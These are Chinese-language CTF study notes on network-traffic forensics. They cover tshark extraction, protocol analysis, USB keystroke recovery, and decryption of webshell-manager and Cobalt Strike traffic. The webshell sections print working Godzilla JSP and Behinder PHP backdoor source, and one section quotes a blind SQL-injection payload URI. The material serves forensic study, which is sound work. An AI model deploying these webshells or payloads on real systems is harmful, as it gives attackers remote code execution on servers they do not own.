流量分析

流量分析


一行叫包,tcp三握到四挥这部分流量叫流,追踪流追踪的就是这段流量


pcap文件修复

pcapfix - online pcap / pcapng repair service (f00l.de)


tshark

-r *.pcap    #指定要分析的文件
-T 模式 -e 指定字段
T:
fields:字段模式,只输出指定字段的内容,搭配-e
text:以纯文本格式输出

-e:
ip.src:目标ip
dns.qry.name:dns域名
http.request.uri:请求的uri
http.file_data:get或post的值(返回包内容也行)


-Y和-R:都是过滤器,过滤数据包,-Y只支持简单条件表达式,-R支持更多过滤语法

对于-e参数的拼写,我们可以通过wireshark了解

如:现在我们要提取这个http response包中,请求包的uri,我们可以

tshark -r blindsql.pcapng -Y "http.response" -T fields -e http.response_for.uri > blind.txt

提取HTTP分组中的负载内容
tshark -r input.pcapng -Y "http" -T fields -e http.file_data

提取usb协议中的HID Data数据,并写入usbhid.txt
tshark -r capture.pcapng -T fields -e usbhid.data > usbhid.txt

提取POST请求的url值
tshark -r sqlshark.pcap -Y "http.request.method == POST" -T fields -e http.request.uri > blind.txt

提取POST请求提交的post值
tshark -r sqlshark.pcap -Y "http.request.method == POST" -T fields -e http.file_data > blind.txt


smtp

SMTP(Simple Mail Transfer Protocol):简单邮件传输协议。端口号:tcp25

文章:Wireshark对SMTP抓包分析 - 知乎 (zhihu.com)

摘要:

1、响应代码220表示连接建立成功,后面的Anti-spam是一种用于过滤和阻止垃圾邮件的技术

2、服务端返回220代码之后,客户端继续发送请求,发送EHLO或者是HELO命令来声明身份,EHLO要更加安全

3、服务端接收到客户端的EHLO请求之后,返回了一个250代码并且附带了支持的身份验证方式,客户端使用AUTH命令进行身份验证,身份验证成功后会返回235的成功代码

4、客户端MAIL FROM命令声明邮件的发件人,RCPT TO命令声明邮件的收件人,服务器返回250代码确定操作成功

5、客户端使用DATA命令,告知服务器要开始传输邮件的正文内容,服务端返回354代码,告知邮件的内容结束以<CR><LF>.<CR><LF>为标记,客户端接收到354代码后,开始传输邮件内容

6、客户端发送完邮件内容之后,还会接着发送一个QUIT命令来表示结束这次的SMTP传输,服务器在接受到数据之后会返回250代码表示接受成功并且再返回221代码表示结束本次SMTP传输。


smtpflag.pcap

在建立连接后有user和pass,base64解密


smtp_cotent.pcapng

smtp明文传输,直接追踪tcp流


smtp_attachment.pcapng

追踪tcp流,和上面一样,解一下出现的base64,发现最后一个是base64加密后的文件,解密保存,打开结束


http_smtp.pcapng

导出http对象,下载加密zip,追踪smtp对应tcp流,找到解压密码


ftp-smtp.pcapng

和上题一样,换成导出ftp-data对象


FTP

与 FTP 协议相比,SFTP 在客户端与服务器间提供了一种更为安全的文件传输方式

TFTP协议不需要验证客户端的权限,FTP需要进行客户端验证

FTP-DATA:在服务器和客户端之间传输文件数据的数据连接

FTP(File Transfer Protocol)文件传输协议,端口:TCP20,21

主动模式:服务端发起数据连接。客户端使用随机端口连接,服务器主动向客户端的随机端口进行连接

被动模式:客户端发起数据连接。 客户端和服务端都是随机端口,客户端向服务器的随机端口进行连接,服务器被动连接


Response code: Service ready for new user (220),意思是FTP返回码220,FTP服务做好了用户登录的准备

客户端发送USER 用户名,服务器返回331状态码,要求用户传送密码,PASS 密码,最后服务器返回230状态码登录成功

后面的SITE,PWD,PASV等是ftp命令

FTP.pcap

如上图,密码


traffic-5.pcap

题目说为什么不是sftp,先想着搜索sftp流量,发现没有,那应该意思是说该流量是ftp(批评不用sftp的意思)

上面的流量是ftp的登录和一些命令,下面是向服务器请求zip压缩包,

找到该zip,下载,打开拿到flag(记得追踪流,分多个包发送的)


leakage.pcap

首先修复文件,两个途径发现key.zip

导出ftp-data对象,下载key.zip,得到73686b696b7475,十六进制解码


ftp-data.pcapng

导出ftp-data对象,下载txt,结束


ssPacket.pcapng

导出ftp-data对象,下载了一个加密的zip,依题目找解压密码

找了追踪了tcp流,无果,都是些命令

发现有http,筛选一下



http/https

HTTP(Hypertext Transfer Protocol):请求-响应协议


http.pcap

导出对象

导出http流的对象,(看各种东西更方便)

可疑主机和文件,点击选中它,并点中间保存按钮保存php文件


Forensics-Four Eyes.pcap

由题目可知:1、监控http流量,2、登录www.2dehands.be的密码

导出对象并筛选该主机

这个最特别

保存并访问,拿下密码


online_game.pcap

由题目知:网站-->http流量,具体筛选网站:tribalwars

保存第二个


Espionage-sniffed_updated.pcap

导出http对象后,文件大小排序

下载压缩包,一段音频隐写,左边选择频谱图


data.pcap

题目找密码,直觉导出http对象,发现

密码base64解密


ispy.pcapng

筛选了一下http,结果第一个图片就是flag,蒙圈


john-in-the-middle.pcap

题目意思明显,导出http对象,发现html网站和对应的js文件,还有很多张图片,对logo进行图片隐写


lolteam.pcapng

题目:找密码,筛选(本身以为这个是假的,结果。。。),结束


fixed_weird_shark.pcap

导出http对象,pdf文档


http_header.pcapng

由题目知:http流量头,追踪一下http流,base64解密


fpcap.pcapng

简短的流量,筛选个http,登录-->访问php文件,下载zip

追踪的http流中有密码123@pass,解密zip,结束


SString.pcapng

导出http对象,一个html,追踪smtp的tcp流,另一个html

写出解密函数

function decode($str)
{
    $string = str_rot13($str);
    $string = strrev($string);
    $string = base64_decode($string);
    $ans = '';
    for ($i = 0; $i < strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $ordChar = ord($char) - 1;
        $char = chr($ordChar);
        $ans = $ans . $char;
    }
    return strrev($ans);
}

flag{603d7237fa0d52977}


fileUpload.pcapng

题目:登录网站:http流

导出对象php文件,base64解码


找数值怪(大or小)

net_....b.pcap

没啥思路,随便导出了http流量,发现有个特别大的文件,得到密码,不是密码佬,直接跑路


intercept.pcap

题目:找密码

没意思,从http流量中可以看出,他父亲登录第一次错误,第二次密码才正确


SSL/TLS

HTTPS使用了SSL/TLS协议,SSL是 TLS 的前身,TLSv1.2则是1.2版本,保证信息安全的要素

文章:

流量包超细致分析:Wireshark 抓包理解 HTTPS 请求流程_wireshark导入密钥还是encrypt alert-CSDN博客

TLSv1.2介绍及Https协议SSL建立过程分析(OpenSSL源码)-CSDN博客

摘要:

tcp建立连接后,客户端发送client hello包给服务器(包含支持的TLS版本、随机数、支持的加密算法)

服务器响应server hello包,证书,公钥交换,hello结束等,之后就是加密数据的传输


dump.pcap

题目找罪魁祸首-->找人

筛选ssl流量后,找到服务器响应包里的证书颁发者(issuer)


greatescape.pcap

首先找ssc.key,查找ssc.key,发现是ftp传输,导出ftp-data对象,下载

wireshark中->编辑->首选项->Protocols->SSL->edit->+号->Key File->输入ssc.key->OK(SSL不行就改成TLS)

第一种:导出对象

第二种:http contains "FLAG"

http contains 'FLAG'

http contains FLAG,哪种行,用哪种


client.pcap

给了秘钥,直接用,发现两个http,一看就是key了


sql流量

布尔盲注

1、查看注入语句

2、根据响应包长度过滤流量

3、导出流量,脚本获取flag


get

hgame blindsql

1、查看注入语句

/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),1,1))%3E63)

2、响应包的长度为708和723,对应的帧长度为726和740,这里我们用帧长度来提取(自己判断一下哪个是注入成功语句的长度)

tshark -r blindsql.pcapng -Y "http.response && frame.len==740" -T fields -e http.response_for.uri > blind.txt

(用word提前把前面的东西删了)


3、脚本

with open(文件,'r') as file:
    num = 1
    tmp = ''
    flag = ''
    for line in file:
        # 1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),1,1))%3E125)
        # split的内容为两个变数值之间的字符串
        part = line.split(',1))%3E')
        
        part1 = ''.join(part[0])
        part1 = part1.split(',')[1]
        
        part2 = part[1].split(')')[0]
        if int(part1) == num+1:
            flag = flag+chr(int(tmp))
            num = num+1
        tmp = part2
    print(flag)

post

vnctf sqlshark

官方jio本(pyshark记得改ini配置)

修改正则和返回包成功信息

import pyshark, re

cap = pyshark.FileCapture(文件, display_filter='http')

last_packet = None
last_text = ''
result = {}


def extract(text):
    # 正则匹配
    a = re.search('Value.*frOm (\d*).*in\((\d*)\).*#', text)
    key, value = a.group(1), a.group(2)
    result[key] = value
    # print(key,value)


for packet in cap:
    text = str(packet.layers[-1:][0])

    # 成功注入的返回包里的内容
    if 'success' in text and last_packet is not None:
        extract(last_text)
    last_packet = packet
    last_text = text

for c in result:
    print(chr(int(result[c])), end='')

时间盲注

Wireshark数据包分析——时间盲注/延时注入攻击_盲注 frame.time_delta>3-CSDN博客

没遇到过题,先留个文章


工具

SQLBlind_Tools-main

  -h, --help            show this help message and exit
  -f FILE, --file FILE  PCAP文件路径
  -r REGEXP, --regexp REGEXP 使用指定正则表达式提取数据
  -o OUTPUT, --output OUTPUT 将所有URI输出到指定文件中
python3 .\sqlblind_tools.py -f 文件

telnet

Telnet(teletype network):远程登录服务

是Internet远程登陆服务的标准协议和主要方式,基于传输层的TCP协议且通过telnet协议实现的传输的所有数据都是明文形式,包括用户名和密码,利用这一特性我们可以直接跟踪TCP数据流

networking.pcap


TELNET.pcap

题目提示找会话账号和密码

一个一个分析,左下角可能是telnet一些会话的东西(maybe)

可以一个一个翻下来,也可以分组详情搜索login,然后追踪字节流


telnet_cmd.pcapng

追踪tcp流,telnet分多个传输一个字节,追踪流一下看出来


SSH

SSH 和 telnet 之间的主要区别在于 SSH 提供完全加密和经过身份验证的会话。而telnet缺少安全的认证方式,而且传输过程采用TCP进行明文传输

ssh协议简单介绍-CSDN博客

摘要:SSH工作过程

1、版本号协商

2、密钥和算法协商

3、SSH客户端向服务器端发起认证请求, 服务器端对客户端进行认证

4、客户端向服务器端发送会话请求

5、服务器端同意请求后和客户端进行信息的交互


WebSocket 主要用于实时通信,适合于需要实时性的 Web 应用场景,而 NFS 则主要用于文件共享和存储访问

nfs.pcapng

在这里的nfs是websocket,不知道为什么,追踪tcp流



dns

DNS(domain name system)域名系统,端口:udp53

tips

一般是在域名前(低级域名)处添加信息


筛选dns,发现访问不可访问域名,筛选

保存文件,不是脚本小子,就只能一个一个复制粘贴了,最后解码


USB

参考:

CTF流量分析常见题型(二)-USB流量_ctf usb流量分析-CSDN博客

USB流量分析-CSDN博客

USB HID 流量分析详解_usbhid.data分析-CSDN博客


老板wireshark把USB协议数据部分在Leftover Capture Data域中,在新版的 Wireshark 已经支持了 USB HID 的解析,所以原本的数据被解析成了 HID Data。


鼠标流量

数据长度为四个字节

第一个字节代表按键

当取0×00时,代表没有按键
当取0×01时,代表按左键
当取0×02时,代表当前按键为右键

第二个字节可以看成是一个signed byte类型,其高位为符号位

值为正时,代表鼠标水平右移多少像素
值为负时,代表鼠标水平左移多少像素

第三个字节与第二字节类似,代表垂直上下移动的偏移。

值为正时,代表鼠标上移多少像素位
值为负时,代表鼠标下移多少像素位

capture.pcapng

四字节,鼠标流量

tshark提取数据

tshark -r capture.pcapng -T fields -e usbhid.data > usbdata.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata

会有一些多余的换行,删掉

接下来,将字节用:隔开,脚本(键盘和鼠标流量长度不一样,使用时注意):

# encoding:utf-8
f=open(源文件,'r')
w=open(生成文件,'w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==8: # 键盘流量len=16,鼠标流量len=8
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            w.write(out)
            w.write('\n')
    else:
        break

w.close()

计算鼠标位移,脚本(注意修改btn_flag,代表使用了鼠标左键还是右键):

# encoding:utf-8
nums = []
keys = open(源文件,'r')
f = open(生成文件,'w')
posx = 0
posy = 0
for line in keys:
    if len(line) != 12 :
        continue
    x = int(line[3:5],16)
    y = int(line[6:8],16)
    if x > 127 :
        x -= 256
    if y > 127 :
        y -= 256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 : # 1代表左键,2代表右键 
        f.write(str(posx))
        f.write(' ')
        f.write(str(posy))
        f.write('\n')
f.close()

画图:

1、gnuplot

2、python

import matplotlib.pyplot as plt
import numpy as np

x, y = np.loadtxt(文件, delimiter=' ', unpack=True)
plt.plot(x, y, '.')
plt.show()


键盘流量

cap--大写,del--删除

数据长度为八个字节

键盘击键信息集中在第三个字节中


usb1.pcapng

8字节,键盘流量

基本和鼠标流量流程一样

提取键盘数据:

tshark -r usb1.pcapng -T fields -e usbhid.data > usbhid.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata

加分号:

# encoding:utf-8
f=open(源文件,'r')
w=open(生成文件,'w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==8: # 键盘流量len=16,鼠标流量len=8
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            w.write(out)
            w.write('\n')
    else:
        break

w.close()

还原键盘字符:

mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

nums = []
keys = open(文件)
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))

keys.close()

output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'

print 'output :\n' + output


键盘版本问题

CISCN2022 ez_usb

有两种版本的键盘流量,需要分别提取解(注意键盘流量字符长度为16)

tshark -Y "usb.src==2.8.1" -r ez_usb.pcapng -T fields -e usbhid.data > usbhid1.txt

然后就是上面键盘流量提取的步骤

注意点是[DEL]字符记得删掉前面那个字符,unknown直接删,密码字母大小写改变

1:
526172211A0700CF907300000D00000000000000C4527424943500300000002A00000002B9F9B0530778B5541D33080020000000666C61672E747874B9BA013242F3AFC000B092C229D6E994167C05A78708B271FFC042AE3D251E65536F9ADA87C77406B67D0E6316684766A86E844DC81AA2C72C71348D10C43D7B00400700

2:35c535765e50074a


键盘流量加强版

特殊情况

  1. 同时按下多个键或长时间按下某个键均未处理
  2. 不应该在for i in range(len(output))的同时修改output,很容易出现错位
  3. DEL应该后于CAP LOCK处理,否则可能会出现删除CAP LOCK键的⾏为
  4. shiftKeys 字典的数据存在部分错误

hgame.pcap
tshark -r capture.pcapng -T fields -e usbhid.data > usbdata.txt
#如果数据在Leftover Capture Data中,将usbhid.data换成usb.capdata

将导出的usbdata.txt喂给它

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09":
    "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12":
                  "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b":
                  "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24":
                  "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "< SPACE > ", "2d": " - ", "2e": " = ",
              "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'",
              "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "< F4 > ", "3e": " < F5 > ",
              "3f": " < F6 > ",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "< F11 > ", "45": " < F12 > "}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F",
             "0a": "G", "0b": "H", "0c": "I", "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
             "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X",
             "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&",
             "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "< SPACE > ", "2d": "_", "2e": " + ",
             "2f": "{", "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35":
                 "<TILDE>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "< F4 > ", "3e": " < F5 > ",
             "3f": " < F6 > ",
             "40": "<F7>",
             "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "< F11 > ", "45": " < F12 > "}
output = []
last = []
new = []
keys = open(文件)
press = ''
for line in keys:
    try:
        if line[2] != '0' or (line[3] != '0' and line[3] != '2'):
            continue
        offset = 6
        new = []
        while line[offset:offset + 2] != '00':
            press = line[offset:offset + 2]
            if press in normalKeys.keys():
                if line[3] == '0':
                    key = normalKeys[press]
                else:
                    key = shiftKeys[press]
            else:
                key = '[unknown]'
            if press not in last:
                output.append(key)
            new.append(press)
            offset += 2
    except:
        print(line)
    finally:
        last = new
keys.close()
flag = 0
print("".join(output))

for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag = 1 - flag
        if flag != 0:
            output[i] = output[i].upper()
    except:
        pass

output = [x for x in output if x != '<CAP>']

new_output = []
for i in range(len(output)):
    if output[i] == "<DEL>":
        new_output = new_output[:-1]
    else:
        new_output.append(output[i])
print ('output :' + "".join(new_output))



电话

RTP

voip.pcap

播放音频得到flag(不知道在讲什么鸟语,直接wp启动)


shell工具

蚁剑

蚁剑码部分代码


请求包部分

蚁剑码的请求包会post多个参数,参数顺序和个数可能变(最上面的1是一句话木马参数)

上图的1的值是一个txt文本路径,2是蚁剑代码,3是文本的内容

tips

请求包可找较短的值,base64解一下,乱码的话就去掉前两个字符,然后再base64decode


返回包部分

蚁剑请求包的码中有这样的代码,我们的返回包只需删除前面'81291'和最后的'e0fca92ac'然后再base64解码即可得到返回的数据


image-20240202231331157

去掉首尾,剩下MQ==,返回了个1


菜刀

菜刀数据包.pcapng

菜刀是常见的连接webshell的工具,连接webshell会有明显的GET或POST请求。所以我们只需要找数据包的HTTP请求就行了

一个一个看下来,上面应该是菜刀在不断找upload路径,找到hello.rar,(->|.....|<-)或X@Y是菜刀流量包的特征

一些特殊流量结构:Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理_冰蝎2.0流量特征_OceanSec的博客-CSDN博客

下一个流量包89504E47,明显png图,保存


caidao.pcapng

筛选http流量,分析POST包,发现这三个POST包是提交要执行菜刀想执行的代码,第一个POST包执行后,返回了目录列表,第二个返回php一句话木马,第三个返回乱码

转码一下第三个包,猜测文件是以压缩形式返回,提出乱码包的字节流,删去前三个和后三个菜刀流量特征值,然后选择压缩形式


pcap.pcap

随便追踪了个http流,发现是打dvwa靶场(并没卵用)

随便往下翻了一点,发现请求的很多目录都是404,一直翻到底,发现开始访问shell.php,发现菜刀特征流量标识,且知道是以base64加密,搜索ZmxhZ3(flag base64加密串)


哥斯拉

文章:

哥斯拉还原加密流量_ctf misc 哥斯拉流量解密脚本-CSDN博客

【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户


哥斯拉载荷:php、jsp、asp

解密要aes key

php

流量特征

密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,密码为pass时,哥斯拉提交的每个请求都是pass=xxxxxxxx这种形式

密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程


哥斯拉连接

第一个请求包包含PHP_XOR_BASE64(可能是其他的加密器)加密的shell代码,服务器返回phpsession(后期请求带上cookie)


第二个请求测试连接命令test,返回少量数据(即ok

解密后的请求格式{‘methodName’: ‘test’.........}可能还有其他参数


第三个请求为各种命令,如获取服务器基础信息的命令getBasicsInfo,返回服务器基础信息

解密后的请求格式{‘methodName’: ‘getBasicsInfo’}

可能会重复执行两次,之后就是各种命令执行


类型

  • php_xor_base64

  • php_eval_xor_base64

  • php_xor_raw

  • http_php_xor_raw


以php_eval_xor_base64为例(RAW类型可以看看java是怎么解的)

PCTF wyz大战哥斯拉

https://www.cnblogs.com/xhzccy/p/17880921.html

总结

(可能所有加密器都这样):

对于MethodName的请求包,丢到第一个解密算法

请求命令包丢到第二个解密算法

response包先删前16个字符,再删后16字符,得到和命令包一样的结构后,丢到第二个解密算法

更新:直接丢到第三个解密

java

类型

  • JAVA_AES_BASE64
  • JAVA_AES_RAW

以JAVA_AES_RAW为例(BASE类型可以看看是php怎么解的)

[第二届陇剑杯]hard_web

jsp马,一般AES的key在第一行

<% ! String xc="748007e861908c03";

class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }

    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}

public byte[] x(byte[] s, boolean m) {
    try {
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
        c.init(m?1:2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    }

    catch (Exception e) {
        return null;
    }
}

%><%try {
    byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
    java.io.InputStream inputStream=request.getInputStream();
    int _num=0;
    while ((_num+=inputStream.read(data, _num, data.length))<data.length);
    data=x(data, false);

    if (session.getAttribute("payload")==null) {
        session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
    }

    else {
        request.setAttribute("parameters", data);
        Object f=((Class)session.getAttribute("payload")).newInstance();
        java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
        f.equals(arrOut);
        f.equals(pageContext);
        f.toString();
        response.getOutputStream().write(x(arrOut.toByteArray(), true));
    }
}

catch (Exception e) {}

%>

toto爷脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import gzip

def aes_decrypt_ecb(ciphertext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, AES.block_size)
    return plaintext

ciphertext = bytes.fromhex("")

key = b'748007e861908c03'

plaintext = aes_decrypt_ecb(ciphertext, key)
print(gzip.decompress(plaintext).decode("UTF-8"))

不管是请求还是返回包,都是这样解

将数据丢到解密脚本即可解密



cobalt strike


beacon模式

文章:常见webshell流量解密分析-CSDN博客


流量特征

get方法向/dpixel/__utm.gif/pixel.gif等地址发起请求(重复有规律get某地址)

cookie是一串base64的值,这是cs流量的元数据

POST /submit.php?id=一串数字,post值为0000开头的data,这是cs流量的发送任务数据


解密

解密要.cobaltstrike.beacon_keys文件

.cobaltstrike.beacon_keys文件:CS通信时加密的RSA公私钥都在这个文件里,想解密cs流量就需要文件里的私钥,文件的本质是一个java序列化后的字节流


元数据


toto爷脚本:需要修改rsa_cipher_text(元数据)

import base64
import hexdump
import hashlib
import argparse
import javaobj.v2 as javaobj
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5


def parse_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", type=str, default=None, required=True,
                        help="输入JAVA序列化文件 .cobaltstrike.beacon_keys 路径")
    return parser.parse_args()

def get_RSA_PriKey(SerializeKeyPath):
    with open(SerializeKeyPath, "rb") as fd:
        pobj = javaobj.load(fd)
    privateKey = pobj.array.value.privateKey.encoded.data
    publicKey = pobj.array.value.publicKey.encoded.data

    privateKey = (
        b"-----BEGIN PRIVATE KEY-----\n"
        + base64.encodebytes(bytes(map(lambda x: x & 0xFF, privateKey)))
        + b"-----END PRIVATE KEY-----"
    )
    publicKey = (
        b"-----BEGIN PUBLIC KEY-----\n"
        + base64.encodebytes(bytes(map(lambda x: x & 0xFF, publicKey)))
        + b"-----END PUBLIC KEY-----"
    )

    privateKey = privateKey.decode()
    publicKey = publicKey.decode()
    return publicKey, privateKey

def create_PK_Cipher(privateKey):
    privateKey = RSA.import_key(privateKey.encode())
    n_bytes = privateKey.n.bit_length() // 8
    cipher = PKCS1_v1_5.new(privateKey)
    return cipher, n_bytes

def private_decrypt(cipher_text, privateKey):
    cipher, n_bytes = create_PK_Cipher(privateKey)
    cipher_text = base64.b64decode(cipher_text.encode())
    return b''.join(
        cipher.decrypt(cipher_text[i : i + n_bytes], 0)
        for i in range(0, len(cipher_text), n_bytes)
    )

def get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text):
    _, privateKey = get_RSA_PriKey(SerializeKeyPath)
    
    if not (plain_text := private_decrypt(rsa_cipher_text, privateKey)):
        print("[+]: 解密错误, 可能是RSA_Cipher_Text或者密钥有误!")
        exit(-1)
        
    raw_aes_keys = plain_text[8:24]
    raw_aes_hash256 = hashlib.sha256(raw_aes_keys)
    digest = raw_aes_hash256.digest()
    aes_key = digest[:16]
    hmac_key = digest[16:]
    return aes_key, hmac_key, plain_text

if __name__ == '__main__':
    args = parse_arguments()
    SerializeKeyPath = args.f
    
    rsa_cipher_text = "元数据"
    aes_key, hmac_key, plain_text = get_AES_HMAC_Key(SerializeKeyPath, rsa_cipher_text)
    print(f"AES key: {aes_key.hex()}")
    print(f"HMAC key: {hmac_key.hex()}")
    hexdump.hexdump(plain_text)

python3 .\cobalt_strike.py -f .cobaltstrike.beacon_keys


得到AES和HMAC key

WBGlIl/CS_Decrypt (github.com)

利用Beacon_Task_return_AES_Decrypt.py解密发送任务数据

发送任务数据


AES和HMAC key就是上面解出来那两个,发送任务数据需要base64编码


编码问题

UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte

如果有这种编码问题,就将文件倒数第二代码编码格式改一下(utf-16,gbk,ISO-8859-1)


冰蝎

文章:常见webshell流量解密分析-CSDN博客


冰蝎2的key是随机生成的,冰蝎3的key是设定好的

解密要aes key


php

以冰蝎3为例

SICTF2022-hacker2

冰蝎的马:key值有了

<?php
@error_reporting(0);
session_start();
    $key="7d7c23e87b47368b"; //0123456789abcdef
 $_SESSION['k']=$key;
 $post=file_get_contents("php://input");
 if(!extension_loaded('openssl'))
 {
  $t="base64_"."decode";
  $post=$t($post."");
  
  for($i=0;$i<strlen($post);$i++) {
        $post[$i] = $post[$i]^$key[$i+1&15]; 
       }
 }
 else
 {
  $post=openssl_decrypt($post, "AES128", $key);
 }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
 class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

toto脚本:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

def aes_decrypt_cbc(ciphertext, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    plaintext = unpad(plaintext, AES.block_size)
    return plaintext

ciphertext_base64 = b''
ciphertext = base64.b64decode(ciphertext_base64)
key = b'7d7c23e87b47368b'
iv = b'\x00' * 16  # 16 bytes of zeros

plaintext = aes_decrypt_cbc(ciphertext, key, iv)
print(plaintext)

:前两个请求包解出来变量content和whatever,里面部分暂不能很有效的解出明文

后面的流量就正常解就好了


把数据丢进解密脚本

这串base64解出来的马,代码最下面就是这次要执行的命令


返回值一样丢进脚本解就好了

前面status的状态值是固定的(maybe),base64解出来是success

后面msg就是返回命令的执行结果,base64解就行了



java

找jsp马,得key,好像shell工具很多都是这样的过程,和其他一样就行


隧道工具

dns隧道

文章:内网隐蔽隧道-DNS隧道流量分析 - FreeBuf网络安全行业门户


dns隧道分为直连中继两种。

直连是Client直接指定的目标DNS Server,数据编码直接封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,而且一般不允许自己指定DNS Server

DNS迭代查询而实现的中继隧道更为隐秘,如图:

防火墙限制无法访问外网,但DNS的流量放行,本地和host没有对应记录,迭代查询找各级域服务器,这个过程会形成一个逻辑信道,将通信的数据封装客户端查询的请求中(客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm.test.domain.com,其中2roAUwBaCGRuc3R1bm则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstun。),到达我们控制的权威DNS Server,解析数据,并以同样方式将数据返回client。

注:

如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。


具体做法可看上面的dns流量


dns隧道工具

Dns2tcp,Dnscat2,iodine,dnscrypt-proxy


dnscat2:域名前有dnscat开头


nmap

Nmap常见扫描方式流量分析 - fan-tastic - 博客园 (cnblogs.com)


SYN扫描

nmap默认扫描形式


例:靶机133,攻击机131

端口开放的通信流量:

端口未开放的流量:


过滤目标ip

未开放的80端口


开放的445端口

看颜色也知道谁开了


nmap扫描最后,还会再扫一次已开放端口(通过流量猜的),上面扫出的135、139、445,最后又扫了一次


全扫描


其他

追踪流

irc.pcap

追踪tcp流后,原本想直接搜flag,结果满屏的flag,flag{又搜不到,我就往下一直看,发现交流的内容有说分组发送

原来直接搜ctf{就行


passwd.pcap

题目要求找密码,搜索pass,并追踪流

